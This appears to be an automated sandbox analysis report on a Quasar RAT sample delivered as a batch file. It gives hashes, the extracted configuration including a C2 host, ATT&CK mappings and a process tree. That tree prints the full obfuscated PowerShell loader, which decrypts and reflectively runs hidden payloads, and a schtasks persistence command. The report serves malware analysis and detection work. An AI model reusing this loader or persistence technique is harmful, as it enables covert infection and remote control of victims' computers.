quasar | a35daf95a4dbdf04f63d1b41909153783fee7fbc99938f96af5d29f44d7f33f8

General

Target

server.bat
Size

1.8MB
MD5

b1ae3a42e01e54524d7bb03f448aabf4
SHA1

b5c41082ea38b21957c51833c19651b45c4fefda
SHA256

a35daf95a4dbdf04f63d1b41909153783fee7fbc99938f96af5d29f44d7f33f8
SHA512

756e60536b467a81affbf645a92187c345ebe2db86711ff69d15ab92a356f047fbaf198d8fc26595f6d03cdeb1e5ba22ea6415e62f66c2bffc36c736032bb7f4
SSDEEP

24576:S5WRxdQff+tj56I/F+Ldi5+1U7D9zzil7dsnCTFO7UWq/KGIU93Lhwh4HFZTv6Z:ySQnqAg9PNz5CM7UWeFtBt6Z

Score

10^/10

quasar vortex grabber execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Vortex Grabber

C2

battery-stripes.gl.at.ply.gg:26129

Mutex

ce3e9119-9be9-4c01-999b-b687359025a7

Attributes

encryption_key
FA1E38D5CB08766F486F72A0AB91AE27E1725C2B
install_name
Runtime Broker.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Runtime Broker
subdirectory
WD

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4468-16-0x000002247F780000-0x000002247FAA4000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4468 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

Runtime Broker.exe

pid process

1760 Runtime Broker.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

2388 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeRuntime Broker.exe

pid process

4468 powershell.exe
4468 powershell.exe
1760 Runtime Broker.exe
1760 Runtime Broker.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeRuntime Broker.exe

description pid process

Token: SeDebugPrivilege 4468 powershell.exe
Token: SeDebugPrivilege 1760 Runtime Broker.exe

pid	process
4468	powershell.exe

pid	process
1760	Runtime Broker.exe

pid	process
2388	schtasks.exe

pid	process
4468	powershell.exe
4468	powershell.exe
1760	Runtime Broker.exe
1760	Runtime Broker.exe

description	pid	process
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	1760	Runtime Broker.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 2992 wrote to memory of 4468	2992	cmd.exe	powershell.exe
PID 2992 wrote to memory of 4468	2992	cmd.exe	powershell.exe
PID 4468 wrote to memory of 2388	4468	powershell.exe	schtasks.exe
PID 4468 wrote to memory of 2388	4468	powershell.exe	schtasks.exe
PID 4468 wrote to memory of 1760	4468	powershell.exe	Runtime Broker.exe
PID 4468 wrote to memory of 1760	4468	powershell.exe	Runtime Broker.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\server.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eZ/BdGP+hp/INTuCiV0z4Mbns33NZlVZkyKbi1TVuS4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G/Agi11q4Y0U0lJm5CiH1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mnQuE=New-Object System.IO.MemoryStream(,$param_var); $UKJvP=New-Object System.IO.MemoryStream; $mmFpr=New-Object System.IO.Compression.GZipStream($mnQuE, [IO.Compression.CompressionMode]::Decompress); $mmFpr.CopyTo($UKJvP); $mmFpr.Dispose(); $mnQuE.Dispose(); $UKJvP.Dispose(); $UKJvP.ToArray();}function execute_function($param_var,$param2_var){ $VjnJF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zbiiw=$VjnJF.EntryPoint; $zbiiw.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\server.bat';$rsijF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\server.bat').Split([Environment]::NewLine);foreach ($CSTbf in $rsijF) { if ($CSTbf.StartsWith(':: ')) { $hKdyd=$CSTbf.Substring(3); break; }}$payloads_var=[string[]]$hKdyd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4468

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:2388

C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe
"C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1760

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4092 --field-trial-handle=2280,i,716736634476467098,11449718822158202904,262144 --variations-seed-version /prefetch:8
1⤵
PID:3268

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4k3quqdj.23g.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\WD\Runtime Broker.exe
Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/1760-41-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1760-38-0x0000017F58130000-0x0000017F581A6000-memory.dmp

Filesize
472KB

Download
memory/1760-37-0x0000017F58060000-0x0000017F580A4000-memory.dmp

Filesize
272KB

Download
memory/1760-34-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1760-24-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1760-23-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4468-16-0x000002247F780000-0x000002247FAA4000-memory.dmp

Filesize
3.1MB

Download
memory/4468-0-0x00007FFEAC103000-0x00007FFEAC105000-memory.dmp

Filesize
8KB

Download
memory/4468-15-0x000002247F620000-0x000002247F778000-memory.dmp

Filesize
1.3MB

Download
memory/4468-14-0x000002247EB00000-0x000002247EB08000-memory.dmp

Filesize
32KB

Download
memory/4468-35-0x00007FFEAC103000-0x00007FFEAC105000-memory.dmp

Filesize
8KB

Download
memory/4468-13-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4468-36-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4468-12-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4468-11-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4468-39-0x00007FFEAC100000-0x00007FFEACBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4468-10-0x000002247E500000-0x000002247E522000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads